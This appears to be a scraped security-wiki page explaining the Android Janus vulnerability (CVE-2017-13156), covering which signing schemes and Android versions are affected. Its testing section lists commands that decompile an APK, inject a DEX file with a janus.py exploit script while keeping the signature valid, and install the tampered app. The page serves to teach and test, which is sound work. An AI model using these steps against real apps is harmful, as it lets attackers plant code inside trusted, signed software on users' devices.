Sec-88
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    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
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  • Details
  • How to Test
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  1. Android-AppSec

Janus Vulnerability (CVE-2017-13156)

PreviousIntent Redirection VulnerabilityNextTask Hijacking

Last updated 3 months ago

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Whats Janus Vulnerability

A serious vulnerability in Android allows attackers to inject a DEX file into an APK file without affecting the signatures.

Details

  1. On device running android version 5.X & 6.X, Apk signature was verified using only v1 scheme Janus vulnerability was found in v1 signing scheme and google released a patch on 2017 December 01 to fix Janus on these android versions. so even though apk is signed only with v1 which can bem run on 5.x & 6.x, if 2017 December 01 patch is installed in the device Janus cannot be exploited.

  2. After releasing the patch for Janus, Google released v2 signing scheme and prioritized device to use v2 scheme over v1 scheme if v2 was used along with v1 scheme but they did not integrate the patch into the system until android 8.1. This made possible to exploit Janus on android 7.x & 8.0 also, as long as 2017 December patch is not installed.

  3. Applications signed with v2 or v3 along with v1 are also vulnerable to Janus if they are made to run on android versions 5.x & 6.x as it verifies only v1 scheme without installing the patch.

  4. Finally v1 scheme was removed and V4 scheme has been introduced in Android 11, Applications that are only signed with v1 scheme will not run on Android 11

How to Test

apksigner verify -verbose h5.apk
apktool -s d h5.apk && cat h5/apktool.yml | grep minSdk
apktool -s d WhatsApp.apk && mv WhatsApp/classes.dex
python janus.py classes.dex h5.apk kal-h5.apk
adb install h5.apk
adb install -r kal-h5.apk

Automation

# Basic APK analysis
go run main.go -apk path/to/your.apk

# Analysis with custom POC dex file
go run main.go -apk path/to/your.apk -dex path/to/poc.dex

Resources

Use to find the min android version on which we can run this application

To Inject this classes.dex file into our h5 application, we use this exploit code from . Copy the code and create new file named janus.py and paste into it

πŸ“±
apktool
VEO’s repo
apksigner
Exploiting Apps vulnerable to Janus (CVE-2017–13156)Medium
GitHub - h0tak88r/j88nxGitHub
Logo
Logo
apk has been signed only with v1, no v2 or v3 signature
Application can be run on API Level 15(Android 4.0.4 Ice Cream Sandwich), so we can choose any device from 5.x, 6.x, 7.x & 8.0 to exploit it.